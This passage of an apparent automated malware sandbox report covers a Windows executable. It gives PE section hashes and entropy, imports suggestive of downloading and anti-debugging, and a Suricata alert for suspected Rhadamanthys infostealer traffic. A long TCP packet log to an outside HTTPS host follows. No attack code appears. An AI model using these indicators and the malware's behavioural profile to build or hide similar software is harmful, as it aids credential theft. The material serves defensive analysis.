IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xfd4e8	0x470	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc9f88	0xca000	c5660d9da91d294a98c8121b35b1aa7b	False	0.36434362430383666	data	6.16713860657559	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xcb000	0x20e0	0x2200	9b838ee7e311130eeca7b0776fd4b46b	False	0.04067095588235294	data	0.5388315647833224	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xce000	0x11400	0x11400	fa1e033d264e6f89e785f1c6bb765532	False	0.2021201313405797	data	4.971228011132291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0xe0000	0xb4cc	0xb600	9041f82d660f35e3e8ed1158b3567241	False	0.5167839972527473	data	5.959232264527676	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0xec000	0xfac8	0xfc00	ae02203cc0c167639221ce507b42a57e	False	0.1918402777777778	data	4.92021980263626	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0xfc000	0xc70	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xfd000	0x140c	0x1600	b52b84c0dea76b37bb16a942e5259236	False	0.3034446022727273	data	4.323650865003456	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xff000	0x68	0x200	942be0411525401202d1c1060ce27f1a	False	0.076171875	data	0.36239685604047256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x100000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x101000	0x1a2b	0x1c00	2e507a45192b5e31f965d4cf16ee0f81	False	0.7561383928571429	data	7.1073939845714635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x103000	0x1600	0x1600	89088be637a9fcfb8ce8d16620c72d2e	False	0.4074928977272727	data	5.446169829296724	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/4	0x105000	0xa30	0xc00	9b260df650d622bcf805cc02c7961f5a	False	0.19075520833333334	data	1.7185222223578178	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/19	0x106000	0x18fd3	0x19000	9bacba70a1bdc0578e3c25ecd4843412	False	0.416337890625	data	5.809615466055802	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/31	0x11f000	0x4dd4	0x4e00	3cfbe84364ae0b36d9bff4633fb09150	False	0.2251101762820513	data	4.84552781966147	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/45	0x124000	0xb499	0xb600	e3e58513a46454b87e64837feb54e495	False	0.503176510989011	data	5.027382072754182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/57	0x130000	0x1fe0	0x2000	2c7b5bf12029387cad814c9d14db2b4a	False	0.2802734375	data	4.611481437556552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/70	0x132000	0x3d2	0x400	14ef477196f4ba66a23cdec12676e5af	False	0.451171875	data	4.713819195319815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/81	0x133000	0x335f	0x3400	28c39c78c2598b1e80dde20022bc5145	False	0.107421875	data	4.923329796728514	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/97	0x137000	0xde7c	0xe000	aa0bb1328ac8c3cfe5f83540b810b6e0	False	0.5066615513392857	data	5.921973685179868	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/113	0x145000	0x68f	0x800	7417da38326912733ecee1ecf14dddff	False	0.62353515625	data	5.280213974956014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x101114	0x1472	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.903706534199465
RT_GROUP_ICON	0x102588	0x14	data	1.05
RT_MANIFEST	0x10259c	0x48f	XML 1.0 document, ASCII text	0.40102827763496146

Imports

DLL	Import
CRYPT32.dll	CryptStringToBinaryA
KERNEL32.dll	CloseHandle, CreateEventA, CreateSemaphoreA, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, FormatMessageA, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetHandleInformation, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetProcessAffinityMask, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, IsProcessorFeaturePresent, LeaveCriticalSection, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReleaseSemaphore, ResetEvent, ResumeThread, RtlCaptureContext, RtlLookupFunctionEntry, RtlUnwindEx, RtlVirtualUnwind, SetEvent, SetLastError, SetProcessAffinityMask, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, Sleep, SuspendThread, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WideCharToMultiByte
msvcrt.dll	__C_specific_handler, ___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fdopen, _fileno, _fmode, _fstat64, _get_osfhandle, _initterm, _lseeki64, _read, _setjmp, _strdup, _vscprintf, _vsnprintf, _wfopen, _write, abort, atexit, calloc, exit, fclose, fflush, fopen, fprintf, fputc, fputs, free, fwrite, getenv, iswctype, localeconv, longjmp, malloc, mbstowcs, memchr, memcmp, memcpy, memmove, memset, printf, realloc, setlocale, setvbuf, signal, strchr, strcmp, strcoll, strerror, strftime, strlen, strncmp, strtoul, strxfrm, towlower, towupper, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm
SHELL32.dll	ShellExecuteA
WININET.dll	InternetCloseHandle, InternetOpenA, InternetOpenUrlA, InternetReadFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T09:29:50.727336+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	5.35.36.120	7957	192.168.2.6	49792	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 09:29:13.075828075 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:13.075876951 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:13.076054096 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:13.087713957 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:13.087733984 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:14.457669973 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:14.457748890 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:14.518651962 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:14.518673897 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:14.519119978 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:14.519171000 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:14.521482944 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:14.563365936 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.373409033 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.373596907 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.373617887 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.373739958 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.493163109 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.493199110 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.493248940 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.493264914 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.493264914 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.493295908 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.493315935 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.493382931 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.608377934 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.608438015 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.608544111 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.608544111 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.608561039 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.608624935 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.659085035 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.659130096 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.659277916 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.659298897 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.659343958 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.777770042 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.777811050 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.778135061 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.778152943 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.778251886 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.806282997 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.806315899 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.806436062 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.806436062 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.806451082 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.806513071 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.830425978 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.830461979 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.830529928 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.830549955 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.830569983 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.830617905 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.858479023 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.858520985 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.858588934 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.858607054 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.858632088 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.858647108 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.963326931 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.963356018 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.963423967 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.963442087 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.963479996 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.963525057 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.983200073 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.983269930 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.983338118 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.983338118 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:15.983350039 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:15.983422041 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.001669884 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.001724005 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.001771927 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.001780987 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.001806021 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.001868963 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.019938946 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.019990921 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.020030975 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.020050049 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.020093918 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.020093918 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.035706997 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.035753012 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.035801888 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.035811901 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.035856962 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.035856962 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.035866976 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.035937071 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.141252041 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.141302109 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.141340971 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.141369104 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.141401052 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.141422987 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.154194117 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.154253006 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.154277086 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.154289007 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.154313087 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.154330969 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.167088032 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.167135954 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.167181969 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.167191982 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.167226076 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.167241096 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.179224014 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.179269075 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.179327965 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.179338932 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.179388046 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.179398060 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.179440975 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.189497948 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.189542055 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.189665079 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.189682007 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.189742088 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.189757109 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.201982975 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.202027082 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.202060938 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.202069998 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.202116966 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.212428093 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.212476015 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.212516069 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.212524891 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.212572098 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.212593079 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.225385904 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.225430965 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.225482941 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.225493908 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.225523949 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.225544930 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.225549936 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.225593090 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.335130930 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.335200071 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.335239887 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.335258007 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.335292101 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.335315943 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.344453096 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.344499111 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.344556093 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.344564915 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.344584942 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.344605923 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.352102995 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.352152109 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.352188110 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.352197886 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.352230072 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.352248907 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.360753059 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.360799074 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.360867023 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.360888004 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.360913992 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.360924006 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.369772911 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.369827032 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.369859934 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.369879961 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.369894028 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.369924068 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.377172947 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.377218962 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.377265930 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.377274036 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.377311945 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.377329111 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.385669947 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.385716915 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.385760069 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.385768890 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.385793924 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.385809898 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.393352985 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.393397093 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.393436909 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.393446922 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.393475056 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.393486023 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.393490076 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.393529892 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.526731968 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.526784897 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.526827097 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.526837111 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.526880980 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.534579039 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.534642935 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.534682035 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.534692049 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.534706116 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.534723997 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.542449951 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.542493105 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.542545080 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.542552948 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.542584896 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.542607069 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.550857067 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.550903082 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.550935030 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.550942898 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.550985098 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.551004887 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.551054955 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.557395935 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.557439089 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.557495117 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.557503939 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.557550907 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.564464092 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.564517975 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.564557076 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.564569950 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.564615011 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.564631939 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.572427034 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.572475910 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.572509050 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.572519064 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.572547913 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.572566986 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.580300093 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.580388069 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.580403090 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.580410004 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.580452919 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.580476046 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.580523968 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.719223022 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.719278097 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.719309092 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.719325066 CET	443	49710	185.199.220.71	192.168.2.6
Dec 19, 2024 09:29:16.719358921 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.719367027 CET	49710	443	192.168.2.6	185.199.220.71
Dec 19, 2024 09:29:16.726813078 CET	443	49710	185.199.220.71	192.168.2.6
